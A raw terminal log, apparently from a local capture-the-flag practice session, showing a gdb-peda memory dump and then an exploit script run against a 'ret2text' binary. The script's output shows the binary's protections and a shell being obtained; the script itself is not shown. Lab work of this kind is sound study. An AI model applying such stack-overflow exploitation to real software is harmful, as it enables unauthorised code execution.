0x32343b34 0xffffd5e0:    0x3d74733a    0x343b3733    0x78653a34    0x3b31303d 0xffffd5f0:    0x2a3a3233    0x7261742e    0x3b31303d    0x2a3a3133 0xffffd600:    0x7a67742e    0x3b31303d    0x2a3a3133    0x6a72612e 0xffffd610:    0x3b31303d    0x2a3a3133    0x7a61742e    0x3b31303d 0xffffd620:    0x2a3a3133    0x687a6c2e    0x3b31303d    0x2a3a3133 0xffffd630:    0x6d7a6c2e    0x31303d61    0x3a31333b    0x6c742e2a 0xffffd640:    0x31303d7a    0x3a31333b    0x78742e2a    0x31303d7a 0xffffd650:    0x3a31333b    0x697a2e2a    0x31303d70    0x3a31333b 0xffffd660:    0x3d7a2e2a    0x333b3130    0x2e2a3a31    0x31303d5a 0xffffd670:    0x3a31333b    0x7a642e2a    0x3b31303d    0x2a3a3133 0xffffd680:    0x3d7a672e    0x333b3130    0x2e2a3a31    0x303d7a6c 0xffffd690:    0x31333b31    0x782e2a3a    0x31303d7a    0x3a31333b 0xffffd6a0:    0x7a622e2a    0x31303d32    0x3a31333b    0x7a622e2a 0xffffd6b0:    0x3b31303d    0x2a3a3133    0x7a62742e    0x3b31303d 0xffffd6c0:    0x2a3a3133    0x7a62742e    0x31303d32    0x3a31333b 0xffffd6d0:    0x7a742e2a    0x3b31303d    0x2a3a3133    0x6265642e 0xffffd6e0:    0x3b31303d    0x2a3a3133    0x6d70722e    0x3b31303d 0xffffd6f0:    0x2a3a3133    0x72616a2e    0x3b31303d    0x2a3a3133 gdb-peda$  0xffffd700:    0x7261772e    0x3b31303d    0x2a3a3133    0x7261652e 0xffffd710:    0x3b31303d    0x2a3a3133    0x7261732e    0x3b31303d 0xffffd720:    0x2a3a3133    0x7261722e    0x3b31303d    0x2a3a3133 0xffffd730:    0x6563612e    0x3b31303d    0x2a3a3133    0x6f6f7a2e 0xffffd740:    0x3b31303d    0x2a3a3133    0x6970632e    0x31303d6f 0xffffd750:    0x3a31333b    0x7a372e2a    0x3b31303d    0x2a3a3133 0xffffd760:    0x3d7a722e    0x333b3130    0x2e2a3a31    0x3d67706a 0xffffd770:    0x333b3130    0x2e2a3a35    0x6765706a    0x3b31303d 0xffffd780:    0x2a3a3533    0x6669672e    0x3b31303d    0x2a3a3533 0xffffd790:    0x706d622e    0x3b31303d    0x2a3a3533    0x6d62702e 0xffffd7a0:    0x3b31303d    0x2a3a3533    0x6d67702e    0x3b31303d 0xffffd7b0:    0x2a3a3533    0x6d70702e    0x3b31303d    0x2a3a3533 0xffffd7c0:    0x6167742e    0x3b31303d    0x2a3a3533    0x6d62782e 0xffffd7d0:    0x3b31303d    0x2a3a3533    0x6d70782e    0x3b31303d 0xffffd7e0:    0x2a3a3533    0x6669742e    0x3b31303d    0x2a3a3533 0xffffd7f0:    0x6669742e    0x31303d66    0x3a35333b    0x6e702e2a 0xffffd800:    0x31303d67    0x3a35333b    0x76732e2a    0x31303d67 0xffffd810:    0x3a35333b    0x76732e2a    0x303d7a67    0x35333b31 0xffffd820:    0x6d2e2a3a    0x303d676e    0x35333b31    0x702e2a3a 0xffffd830:    0x303d7863    0x35333b31    0x6d2e2a3a    0x303d766f 0xffffd840:    0x35333b31    0x6d2e2a3a    0x303d6770    0x35333b31 0xffffd850:    0x6d2e2a3a    0x3d676570    0x333b3130    0x2e2a3a35 0xffffd860:    0x3d76326d    0x333b3130    0x2e2a3a35    0x3d766b6d 0xffffd870:    0x333b3130    0x2e2a3a35    0x6d626577    0x3b31303d 0xffffd880:    0x2a3a3533    0x6d676f2e    0x3b31303d    0x2a3a3533 0xffffd890:    0x34706d2e    0x3b31303d    0x2a3a3533    0x76346d2e 0xffffd8a0:    0x3b31303d    0x2a3a3533    0x34706d2e    0x31303d76 0xffffd8b0:    0x3a35333b    0x6f762e2a    0x31303d62    0x3a35333b 0xffffd8c0:    0x74712e2a    0x3b31303d    0x2a3a3533    0x76756e2e 0xffffd8d0:    0x3b31303d    0x2a3a3533    0x766d772e    0x3b31303d 0xffffd8e0:    0x2a3a3533    0x6673612e    0x3b31303d    0x2a3a3533 0xffffd8f0:    0x3d6d722e    0x333b3130    0x2e2a3a35    0x62766d72 0xffffd900:    0x3b31303d    0x2a3a3533    0x636c662e    0x3b31303d 0xffffd910:    0x2a3a3533    0x6976612e    0x3b31303d    0x2a3a3533 0xffffd920:    0x696c662e    0x3b31303d    0x2a3a3533    0x766c662e 0xffffd930:    0x3b31303d    0x2a3a3533    0x3d6c672e    0x333b3130 0xffffd940:    0x2e2a3a35    0x303d6c64    0x35333b31    0x782e2a3a 0xffffd950:    0x303d6663    0x35333b31    0x782e2a3a    0x303d6477 0xffffd960:    0x35333b31    0x792e2a3a    0x303d7675    0x35333b31 0xffffd970:    0x632e2a3a    0x303d6d67    0x35333b31    0x652e2a3a 0xffffd980:    0x303d666d    0x35333b31    0x612e2a3a    0x303d7678 0xffffd990:    0x35333b31    0x612e2a3a    0x303d786e    0x35333b31 0xffffd9a0:    0x6f2e2a3a    0x303d7667    0x35333b31    0x6f2e2a3a 0xffffd9b0:    0x303d7867    0x35333b31    0x612e2a3a    0x303d6361 0xffffd9c0:    0x36333b30    0x612e2a3a    0x30303d75    0x3a36333b 0xffffd9d0:    0x6c662e2a    0x303d6361    0x36333b30    0x6d2e2a3a 0xffffd9e0:    0x303d6469    0x36333b30    0x6d2e2a3a    0x3d696469 0xffffd9f0:    0x333b3030    0x2e2a3a36    0x3d616b6d    0x333b3030 0xffffda00:    0x2e2a3a36    0x3d33706d    0x333b3030    0x2e2a3a36 0xffffda10:    0x3d63706d    0x333b3030    0x2e2a3a36    0x3d67676f gdb-peda$ quit ningan@ubuntu:~/anan/test$  ningan@ubuntu:~/anan/test$  ningan@ubuntu:~/anan/test$ ll total 28 drwxrwxr-x 2 ningan ningan 4096 May 18 22:08 ./ drwxrwxr-x 7 ningan ningan 4096 May 18 20:04 ../ -rw------- 1 ningan ningan  294 May 18 22:08 .gdb_history -rw-rw-r-- 1 ningan ningan    7 May 18 20:33 peda-session-ret2text.txt -rwxrwxrwx 1 ningan ningan 9915 May 18 20:01 ret2text* ningan@ubuntu:~/anan/test$ vim exp.py ningan@ubuntu:~/anan/test$  ningan@ubuntu:~/anan/test$ python exp.py ret2text   File "exp.py", line 7 SyntaxError: Non-ASCII character '\xe5' in file exp.py on line 7, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details ningan@ubuntu:~/anan/test$ vim exp.py ningan@ubuntu:~/anan/test$ python exp.py ret2text [+] Starting local process './ret2text': pid 3807 [*] '/home/ningan/anan/test/ret2text'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x8048000) [*] Switching to interactive mode There is something amazing here, do you know anything? Maybe I will tell you next time !$ ls exp.py    peda-session-ret2text.txt  ret2text $